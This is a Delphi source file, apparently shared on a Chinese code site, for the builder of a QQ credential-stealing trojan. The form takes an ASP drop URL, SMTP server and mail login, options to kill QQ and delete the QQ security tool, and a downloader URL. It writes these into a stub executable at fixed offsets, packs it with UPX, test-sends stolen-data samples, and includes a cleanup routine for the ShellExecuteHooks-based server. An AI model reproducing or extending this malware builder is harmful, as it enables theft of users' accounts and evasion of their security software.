📄 unit1.pas
字号:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, jpeg,UrlPost,email66,shellapi,
ComCtrls, OleCtrls, SHDocVw,doudou; //调用的单元，
const
OFFSET_URL = 38488; //asp a 开头
OFFSET_URL2 = OFFSET_URL + 56; //smtp
OFFSET_URL3 = OFFSET_URL2 + 56; //user
OFFSET_URL4 = OFFSET_URL3 + 56; //pasw
OFFSET_URL5 = OFFSET_URL4 + 56; //发信
OFFSET_URL6 = OFFSET_URL5 + 56; //收信
OFFSET_URL7 = OFFSET_URL6 + 56; //是否关闭QQ
OFFSET_URL8 = OFFSET_URL7 + 56; //是否删除QQ医生
OFFSET_URL9 = OFFSET_URL8 + 56; //下载者
type
TForm1 = class(TForm)
Button1: TButton;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
asp: TEdit;
sendmail: TEdit;
tomail: TEdit;
user: TEdit;
pasw: TEdit;
smtp: TEdit;
Button2: TButton;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
GroupBox3: TGroupBox;
CheckBox2: TCheckBox;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
GroupBox4: TGroupBox;
Edit1: TEdit;
Button5: TButton;
StatusBar1: TStatusBar;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Filenupx:string;
implementation
{$R *.dfm}
{上面一堆代码是DELPHI自动添加的，Var 是定义全局变量的位置,需要加啥自己加，如果不想修改就那么放着好了}
function FileExists(pszPath: PChar): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';
function ExtractRes(ResType, ResName, OutName: String): Boolean;
var
HResInfo : THandle;
HGlobal: THandle;
HFile: THandle;
Ptr: Pointer;
Size, N: Integer;
begin
HFile := INVALID_HANDLE_VALUE;
repeat
Result := False;
HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
if HResInfo = 0 then Break;
HGlobal := LoadResource(HInstance, HResInfo);
if HGlobal = 0 then Break;
Ptr := LockResource(HGlobal);
Size := SizeOfResource(HInstance, HResInfo);
if Ptr = nil then Break;
HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if HFile = INVALID_HANDLE_VALUE then Break;
if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
until True;
if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
//SetFileAttributes(PChar(OutName), FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY);
end;
//取系统目录
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s:string;
begin
s:= '111111----111111';
PostURL(pchar(asp.text),'num='+HtmlEncode(pchar(s)));
SendMail2(trim(smtp.Text),trim(user.text), trim(Pasw.Text), trim(sendmail.text), trim(tomail.text), s,s);
messagebox(0,'测试完毕，请检查信箱或空间！','测试',0);
end;
//按钮button2按下关闭
procedure TForm1.Button1Click(Sender: TObject);
var
WriteBuff, ResultFilePath, ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize, BytesWritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
sf:TSaveDialog;
aspX,sendmailX,tomailX,userX,paswX,SmtpX,killqqX,DelqqdX,DownX:string; //这儿是重点，必须定义，其他的不需要改动
begin
//地址为空时提示
sf :=TSaveDialog.Create(Application);
sf.DefaultExt :='exe';
sf.Title :='生成';
if not sf.Execute then exit;
AspX :=trim(Asp.Text); //trim函数去掉空格，取得编辑框输入的内容
SendmailX :=trim(sendmail.Text); //同上
tomailx :=trim(Tomail.Text); //同上
UserX:= trim(user.text);
paswx:= trim(pasw.text);
smtpx:= trim(smtp.text);
if CheckBox2.Checked = true
then
killqqX:= '1'
else
killqqX:= '0';
if CheckBox3.Checked = true
then
DelqqdX:= '1'
else
DelqqdX:= '0';
DownX:= Trim(Edit1.text); //规范化下载路径
ResultFilePath := pchar(sf.FileName);
Filenupx := sf.FileName;//设置UPX的释放路径等于程序的释放路径
ResourceLocation := FindResource(HInstance, 'DATEINFO', RT_RCDATA); //用资源RCDATA中urlmm资源
if ResourceLocation <> 0 then
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle <> 0 then
begin
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer <> nil then
begin
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
//看好下面三段，写入偏移的重点，48是长度，49是中止长度，你空格多长，这里就多长
//三段写入了3个地址
SetFilePointer(FileHandle, OFFSET_URL, nil, FILE_BEGIN);
WriteBuff := PChar(aspx + StringOfChar(#0, 48 - Length(aspx)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil); //sendmailX,tomailX,userX,paswX,SmtpX
SetFilePointer(FileHandle, OFFSET_URL2, nil, FILE_BEGIN);
WriteBuff := PChar(SmtpX + StringOfChar(#0, 48 - Length(SmtpX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL3, nil, FILE_BEGIN);
WriteBuff := PChar(userX + StringOfChar(#0, 48 - Length(userX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL4, nil, FILE_BEGIN);
WriteBuff := PChar(paswX + StringOfChar(#0, 48 - Length(paswX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL5, nil, FILE_BEGIN);
WriteBuff := PChar(sendmailX + StringOfChar(#0, 48 - Length(sendmailX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL6, nil, FILE_BEGIN);
WriteBuff := PChar(tomailX + StringOfChar(#0, 48 - Length(tomailX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL7, nil, FILE_BEGIN);
WriteBuff := PChar(killqqX + StringOfChar(#0, 48 - Length(killqqX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL8, nil, FILE_BEGIN);
WriteBuff := PChar(DelqqdX + StringOfChar(#0, 48 - Length(DelqqdX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL9, nil, FILE_BEGIN);
WriteBuff := PChar(DownX + StringOfChar(#0, 48 - Length(DownX)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
CloseHandle(FileHandle); //这个一定不能少
MessageBox(0, '配置文件成功', '提示', mb_iconinformation);
if CheckBox4.Checked = true then
begin
//if ExtractRes('upx', 'upx', 'UPX.bat') then
if ResourceToFile('upx','upx','upx.bat') then
begin
//messagebox(0,'111','1111',0);
ShellExecute(0, nil, 'UPX.bat', PChar('"' + Filenupx + '"'), nil, SW_MINIMIZE);
Sleep(3000);
DeleteFile('UPX.bat');
end;
end;
end;
end;
end;
end;
end;
end;
//获取权限
procedure GetPrivilege;
var
NewState: TTokenPrivileges;
lpLuid: Int64;
ReturnLength: DWord;
ToKenHandle: Cardinal;
begin
OpenProcessToken(GetCurrentProcess,
TOKEN_ADJUST_PRIVILEGES
OR TOKEN_ALL_ACCESS
OR STANDARD_RIGHTS_REQUIRED
OR TOKEN_QUERY,ToKenHandle);
LookupPrivilegeValue(nil,'SeShutdownPrivilege',lpLuid);
NewState.PrivilegeCount:=1;
NewState.Privileges[0].Luid:=lpLuid;
NewState.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
ReturnLength:=0;
AdjustTokenPrivileges(ToKenHandle,False,NewState,0,nil,ReturnLength);
end;
// 处于9x操作系统
function IsWindows9x(): Boolean;
var
Osi: TOSVersionInfo;
begin
Osi.dwOSVersionInfoSize := SizeOf(Osi);
GetVersionEx(Osi);
Result := Osi.dwPlatformID <> Ver_Platform_Win32_NT;
end;
// 删除文件(重启后)
procedure ForceDeleteFile(const FileName: string);
var
DirBuff: array[0..MAX_PATH] of Char;
begin
if IsWindows9x() then
begin
GetShortPathName(PChar(FileName), @DirBuff[0], MAX_PATH); // 8.3命名法短文件名
WritePrivateProfileString('rename', 'NUL', @DirBuff[0], 'wininit.ini');
end else
begin
MoveFileEx(PChar(FileName), nil, MOVEFILE_DELAY_UNTIL_REBOOT);
end;
end;
// 文件改名(重启后)
procedure ForceMoveFile(const Target, Source: string);
var
Target_Buffer: array[0..MAX_PATH] of Char;
Source_Buffer: array[0..MAX_PATH] of Char;
begin
if IsWindows9x() then
begin
GetShortPathName(PChar(Target), Target_Buffer, MAX_PATH);
GetShortPathName(PChar(Source), Source_Buffer, MAX_PATH);
WritePrivateProfileString('rename', Target_Buffer, Source_Buffer, 'wininit.ini');
end else
begin
MoveFileEx(PChar(Source), PChar(Target), MOVEFILE_DELAY_UNTIL_REBOOT or MOVEFILE_REPLACE_EXISTING);
end;
end;
//删除键值
procedure DelRegValue(Root: HKEY; const StrPath, StrValue: PChar);
var
TempKey: HKey;
Disposition: Integer;
begin
TempKey := 0;
RegCreateKeyEx(Root, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey,
@Disposition);
RegDeleteValue(TempKey, StrValue);
RegCloseKey(TempKey);
end;
procedure TForm1.Button3Click(Sender: TObject);
var
DllLink:string;
TempDll:string;
begin
DllLink:= GetWinDir+ 'ddqqd.vxd';
TempDll:= GetWinDir + 'ddqqd.temp';
if (Application.MessageBox(Pchar('您是否确认要删除服务端？'),'确认提示',MB_IconWarning or MB_YESNOCANCEL)=IDYES) then
begin
ForceDeleteFile(DllLink);//删除DLL，，重启动后。
ForceDeleteFile(TempDll); //删除临时路径下的，重启后。。
//删除KEY
DelRegValue(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks',
'{1BE268AC-1355-8BCE-1357-9BCE13578ACD}' );
end else
begin
MessageBox(0, '服务端没有删除', '提示', mb_iconinformation);
EXIT;
end;
if (Application.MessageBox(Pchar('清除启动项成功,一些残留文件需要重启才能完全删除！是否重启？'),'确认提示',MB_IconWarning or MB_YESNOCANCEL)=IDYES) then
begin
GetPrivilege;
ExitWindowsEx(EWX_REBOOT, 0)
end else
begin
MessageBox(0, '您没有重启计算机,残留文件将在重启后自动删除!', '提示', mb_iconinformation);
end;
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
MessageBox(0, '将EXE的URL地址每行一个输入文本中，然后传到前边输入的路径下！', '提示', mb_iconinformation);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -